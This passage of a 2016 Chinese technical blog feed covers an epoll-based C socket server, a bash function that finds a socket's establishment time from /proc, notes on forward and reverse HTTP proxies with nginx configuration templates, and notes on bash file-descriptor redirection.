&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; struct sockaddr in_addr;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; socklen_t in_len;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int infd;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char hbuf[NI_MAXHOST], sbuf[NI_MAXSERV];</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; in_len = sizeof in_addr;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; infd = accept(sfd, &amp;in_addr, &amp;in_len);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (infd == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We have processed all incoming</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;connections. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("accept");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = getnameinfo(&amp;in_addr, in_len, hbuf, sizeof hbuf, sbuf, sizeof sbuf, NI_NUMERICHOST | NI_NUMERICSERV);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("Accepted connection on descriptor %d "</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "(host=%s, port=%s)\n", infd, hbuf, sbuf);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Make the incoming socket non-blocking and add it to the</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;list of fds to monitor. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = make_socket_non_blocking(infd);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; event.data.fd = infd;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; event.events = EPOLLIN | EPOLLET;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = epoll_ctl(efd, EPOLL_CTL_ADD, infd, &amp;event);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("epoll_ctl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We have data on the fd waiting to be read. Read and</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;display it. We must read whatever data is available</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;completely, as we are running in edge-triggered mode</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;and won't get a notification again for the same</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int done = 0;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ssize_t count;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char buf[512];</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count = read(events[i].data.fd, buf, sizeof buf);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (count == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* If errno == EAGAIN, that means we have read all</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data. So go back to the main loop. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (errno != EAGAIN) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("read");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done = 1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (count == 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* End of file. The remote has closed the</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;connection. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done = 1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Write the buffer to standard output */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = write(1, buf, count);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("write");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (done) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("Closed connection on descriptor %d\n", events[i].data.fd);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Closing the descriptor will make epoll remove it</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;from the set of descriptors which are monitored. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close(events[i].data.fd);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; free(events);</div><div></div><div>&nbsp; &nbsp; close(sfd);</div><div></div><div>&nbsp; &nbsp; return EXIT_SUCCESS;</div><div>}</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/430993.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-06-22 17:23 <a href="http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>how to determine the established time of one socket</title><link>http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 15 Jun 2016 03:59:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/430906.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/430906.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/430906.html</trackback:ping><description><![CDATA[<div>You can try the following:</div><div></div><div>1. get the PID (say $pid) of the program by adding the -p option to netstat.</div><div>2. identify the proper line in the /proc/net/tcp file by looking at the local_address and/or rem_address fields (note that they are in hex format, specifically the IP address is expressed in little-endian byte order), also make sure that the st is 01 (for ESTABLISHED);</div><div>3. note the associated inode field (say $inode);</div><div>4. search for that inode among the file descriptors in /proc/$pid/fd and finally query the file access time of the symbolic link: find /proc/$pid/fd -lname "socket:\[$inode\]" -printf %t</div><div></div><div>function suptime() {</div><div>&nbsp; &nbsp; local addr=${1:?Specify the remote IPv4 address}</div><div>&nbsp; &nbsp; local port=${2:?Specify the remote port number}</div><div>&nbsp; &nbsp; # convert the provided address to hex format</div><div>&nbsp; &nbsp; local hex_addr=$(python -c "import socket, struct; print(hex(struct.unpack('&lt;L', socket.inet_aton('$addr'))[0])[2:10].upper().zfill(8))")</div><div>&nbsp; &nbsp; local hex_port=$(python -c "print(hex($port)[2:].upper().zfill(4))")</div><div>&nbsp; &nbsp; # get the PID of the owner process</div><div>&nbsp; &nbsp; local pid=$(netstat -ntp 2&gt;/dev/null | awk '$6 == "ESTABLISHED" &amp;&amp; $5 == "'$addr:$port'"{sub("/.*", "", $7); print $7}')</div><div>&nbsp; &nbsp; [ -z "$pid" ] &amp;&amp; { echo 'Address does not match' 2&gt;&amp;1; return 1; }</div><div>&nbsp; &nbsp; # get the inode of the socket</div><div>&nbsp; &nbsp; local inode=$(awk '$4 == "01" &amp;&amp; $3 == "'$hex_addr:$hex_port'" {print $10}' /proc/net/tcp)</div><div>&nbsp; &nbsp; [ -z "$inode" ] &amp;&amp; { echo 'Cannot lookup the socket' 2&gt;&amp;1; return 1; }</div><div>&nbsp; &nbsp; # query the inode status change time</div><div>&nbsp; &nbsp; local timestamp=$(find /proc/$pid/fd -lname "socket:\[$inode\]" -printf %T@)</div><div>&nbsp; &nbsp; [ -z "$timestamp" ] &amp;&amp; { echo 'Cannot fetch the timestamp' 2&gt;&amp;1; return 1; }</div><div>&nbsp; &nbsp; # compute the time difference</div><div>&nbsp; &nbsp; LANG=C printf '%s (%.2fs ago)\n' "$(date -d @$timestamp)" $(bc &lt;&lt;&lt;"$(date +%s.%N) - $timestamp")</div><div>}<br /><br />#the function used to convert ip between hex and decimal style<br /><div>ip_cvt() {</div><div>&nbsp; &nbsp; local addr=${1:?Please specify &lt;ip:port&gt; or &lt;ip&gt; &lt;port&gt; as the args}</div><div>&nbsp; &nbsp; if [ $# -eq 2 ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; addr=$1:$2</div><div>&nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; local ip=${addr%%:*}</div><div>&nbsp; &nbsp; local port=${addr##*:}</div><div>&nbsp; &nbsp; if [ "$ip" == "${ip##*.}" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo $(python -c "import socket, struct; print(socket.inet_ntoa(struct.pack('&lt;L', int('$ip',16))))"):$(printf "%d\n" "0x"$port)</div><div>&nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo $(python -c "import socket, struct; print(hex(struct.unpack('&lt;L', socket.inet_aton('$ip'))[0])[2:10].upper().zfill(8))"):$(python -c "print(hex($port)[2:].upper().zfill(4))")</div><div>&nbsp; &nbsp; fi</div><div>}<br /><br /><div>$ head /proc/net/tcp</div><div>&nbsp; sl &nbsp;local_address rem_address &nbsp; st tx_queue rx_queue tr tm-&gt;when retrnsmt &nbsp; uid &nbsp;timeout inode &nbsp; &nbsp; &nbsp;&nbsp;<br />the meaning of st field is:</div><div>&nbsp; 0 /* (Invalid) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/ TCP_CLOSE,</div><div>&nbsp; 1 /* TCP_ESTABLISHED &nbsp;*/ TCP_FIN_WAIT1 | TCP_ACTION_FIN,</div><div>&nbsp; 2 /* TCP_SYN_SENT &nbsp; &nbsp; */ TCP_CLOSE,</div><div>&nbsp; 3 /* TCP_SYN_RECV &nbsp; &nbsp; */ TCP_FIN_WAIT1 | TCP_ACTION_FIN,</div><div>&nbsp; 4 /* TCP_FIN_WAIT1 &nbsp; &nbsp;*/ TCP_FIN_WAIT1,</div><div>&nbsp; 5 /* TCP_FIN_WAIT2 &nbsp; &nbsp;*/ TCP_FIN_WAIT2,</div><div>&nbsp; 6 /* TCP_TIME_WAIT &nbsp; &nbsp;*/ TCP_CLOSE,</div><div>&nbsp; 7 /* TCP_CLOSE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/ TCP_CLOSE,</div><div>&nbsp; 8 /* TCP_CLOSE_WAIT &nbsp; */ TCP_LAST_ACK &nbsp;| TCP_ACTION_FIN,</div><div>&nbsp; 9 /* TCP_LAST_ACK &nbsp; &nbsp; */ TCP_LAST_ACK,</div><div>&nbsp; A /* TCP_LISTEN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; */ TCP_CLOSE,</div><div>&nbsp; B /* TCP_CLOSING &nbsp; &nbsp; &nbsp;*/ TCP_CLOSING,</div><div></div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/430906.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-06-15 11:59 <a href="http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>http代理的那些事</title><link>http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 08 Jun 2016 08:31:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/430837.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/430837.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/430837.html</trackback:ping><description><![CDATA[<div>正向、反向都是A要访问一些只有C才能访问到的东西，中间通过C来中介；</div><div>1。区别：</div><div>正向：A告诉C，我要明确访问B，C把B上的资源拽回来，返回给A；对B而言，访问我的是C，压根不知道A的存在；在A看来，我需要显示的配置代理服务器C，要明确告诉C我要访问的资源是B；</div><div>反向：A告诉C，我要请求一些资源，C知道资源在B上，从B上把资源拽回来返回给A；对B而言，直接访问我的是C但同时也知道真正的资源请求者是A；在A看来，压根不知道B的存在，一直以为资源就是在C上；</div><div>总结：正向非常简单理解，就是委托C帮我访问，出了事也都是C兜着，C这里仅仅是一个傻傻的替人干活和顶雷的工具，说白了就是A在本地wget拽B的资源不行，但在C上wget是可以拽下来B的资源的（当然这里C也得是一个server进程，因为要侦听端口等待A来访问，还要返回结果给A）；干反向代理的C不再是那么简单的一个工具了，而是一个真正意义上的service，可以综合考虑A的需求和B的服务能力来做智能转发，因此会具有负载均衡的能力（当然这里也可以使用最简化版的C，即：C也只是一股脑的单纯的把请求转发给B，在这种意义上，貌似感觉反向干的还是正向干的事，实则不然，关键在于B，对于正向而言B是一个特定的资源，例如B可以是https://www.zhihu.com/question/19761434，也可以是http://blog.csdn.net/physicsdandan/article/details/45667357；对于反向而言，B只能是一个或几个特定的服务地址，例如http://10.138.20.241:8834/，请求都是转给这一个或这几个特定服务地址的，当然这个特定服务地址也有可能又是proxy）<br /><div>2。典型应用场景：</div><div>正向：翻到墙外去看片；</div><div>反向：把内网的资源暴露给外部访问；<br /><div>3。能做代理的软件：</div><div>a. nginx：正反都可以，但不支持https；</div><div>b. 正向代理支持https的：http://www.oki-osk.jp/esc/python/proxy/TinyHTTPProxy-0.2.1.zip就一个python文件，最简单易用，已经测试过svn可以用它（配置下~/.subversion/servers里的[global]下的http-proxy-host和http-proxy-port就可以了），更多的参见https://www.zhihu.com/question/19871146；</div><div>4。一句话总结：</div><div>都是把http请求进行转发，调整几个header字段而已；反向代理主要干内网暴露和负载均衡这两件事；</div><div></div><div>最后附上nginx正反向代理的配置模板：</div><div>正向代理：</div><div>server {&nbsp;</div><div>&nbsp; &nbsp; resolver 8.8.8.8;&nbsp;</div><div>&nbsp; &nbsp; resolver_timeout 5s;&nbsp;</div><div></div><div>&nbsp; &nbsp; listen 8081;&nbsp;</div><div></div><div>&nbsp; &nbsp; location / {&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_pass $scheme://$http_host$request_uri;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header Host $http_host;&nbsp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_buffers 256 8k;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_max_temp_file_size 0;&nbsp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_connect_timeout 30;&nbsp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid 200 302 10m;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid 301 1h;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid any 1m;&nbsp;</div><div>&nbsp; &nbsp; }&nbsp;</div><div>}</div><div></div><div>反向代理：</div><div>upstream apachephp &nbsp;{</div><div>&nbsp; &nbsp; server ip:8080;</div><div>}</div><div></div><div>server {</div><div>&nbsp; &nbsp; listen 80;</div><div>&nbsp; &nbsp; server_name www.myblog.cn;</div><div></div><div>&nbsp; &nbsp; access_log &nbsp;logs/quancha.access.log &nbsp;main;</div><div>&nbsp; &nbsp; error_log &nbsp; logs/quancha.error.log;</div><div>&nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;html;</div><div>&nbsp; &nbsp; index &nbsp; &nbsp; &nbsp; index.html index.htm index.php;</div><div></div><div>&nbsp; &nbsp; ## send request back to apache ##</div><div>&nbsp; &nbsp; location / {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_pass &nbsp;http://apachephp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; #Proxy Settings</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_redirect &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; off;<br />&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Host &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $host:$server_port;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X-Real-IP &nbsp; &nbsp; &nbsp; &nbsp;$remote_addr;<br /><span style="font-family: Helvetica, Tahoma, Arial, sans-serif; background-color: #ffffff;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;proxy_set_header&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;REMOTE-HOST&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remote_addr;</span></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X-Forwarded-For &nbsp;$proxy_add_x_forwarded_for;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_next_upstream &nbsp; &nbsp; &nbsp; &nbsp;error timeout invalid_header http_500 http_502 http_503 http_504;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_max_temp_file_size &nbsp; 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_connect_timeout &nbsp; &nbsp; &nbsp;90;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_send_timeout &nbsp; &nbsp; &nbsp; &nbsp; 90;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_read_timeout &nbsp; &nbsp; &nbsp; &nbsp; 90;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_buffer_size &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4k;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_buffers &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4 32k;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_busy_buffers_size &nbsp; &nbsp;64k;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_temp_file_write_size 64k;</div><div>&nbsp; &nbsp; }</div><div>}</div><div></div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/430837.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-06-08 16:31 <a href="http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bash redirect re-study</title><link>http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 30 Mar 2016 04:10:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/429893.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/429893.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/429893.html</trackback:ping><description><![CDATA[<div>本质:先理解linux里的int dup2(int oldfd, int newfd)命令，dup2() makes newfd be the copy of oldfd。</div><div>理解:重定向这个概念其实不是很好理解，如果用编程里面的指针来说明，那就很容易了。举个例子，比如指针p1指向瓶子，指针p2指向抽屉，现在执行p1&gt;&amp;p2（相当于p1 = p2)，这样p1这个指针也指向抽屉了，也就是说我们把p1这个指针重定向到一个新的地方，这个地方是p2所指的地方，即抽屉；</div><div>&nbsp; &nbsp; 简而言之，这个例子里重定向的含义是：把p1指向p2所指的地方（重定向就是指向的含义），而瓶子、抽屉这2个&#8220;实体&#8221;是不变的，重定向能调整的只是指针的指向。</div><div>&nbsp; &nbsp; $ ls -l /proc/$$/fd</div><div>&nbsp; &nbsp; lr-x------ 1 admin admin 64 2016-03-30 10:14 0 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 1 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 2 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 255 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; 我们说0代表stdin，1代表stdout，2代表stderr，这里stdin/stdout/stderr是实体（这里都是/dev/pts/413，即terminal这个设备），0/1/2只是一个fd，可以理解为指针或者标记；</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 &gt;file1之所以file1里只会有1行，原因是：</div><div>&nbsp; &nbsp; 我们首先把2指向了stdout（stdout正是1所指的东西），这个时候1和2都指向了stdout；</div><div>&nbsp; &nbsp; 然后我们把1指向了file1，这个时候2依然还是指着stdout；</div><div>&nbsp; &nbsp; 然后I'm from stdout这句话写到了1里面，其实也就是写到了file1里面，I'm from stderr这句话写到了2里面，其实也就是写到了stdout里面。</div><div></div><div>整体规则:</div><div>&nbsp; &nbsp; 1. TO (&lt;|&gt;|&lt;&gt;) FROM;</div><div>&nbsp; &nbsp; 2. (&lt;|&gt;)这两个东西后面可以跟&amp;fd/&amp;-/&amp;fd-，也可以跟一个file名字；例外&gt;&amp;file1表示stdout和stderr都重定向到file1里面；&lt;&gt;后面只可以跟file1，例如&lt;&gt;file1表示从file1里既读入数据，也写入数据;</div><div>&nbsp; &nbsp; 3. (&lt;|&gt;|&lt;&gt;)这三个东西前面不能有空格，后面跟的&amp;不能有空格，除此之外无要求，例如：exec 1&gt;&amp; 2- #但2和-之间不能有空格；</div><div></div><div>操作:</div><div>&nbsp; &nbsp; 1. 打开一个fd的方法：exec fd&gt;&amp;1 &nbsp;或者 &nbsp; exec fd&lt;&amp;0 或者 exec fd&gt;file1 或者 exec fd&lt;file1 或者 exec fd &lt;&gt;file1；</div><div>&nbsp; &nbsp; &nbsp; &nbsp;如果你不想指定fd（希望系统自动给你分配一个fd），那么有一种特殊的用法，例子是：</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exec {NEW_STDOUT}&gt;&amp;1 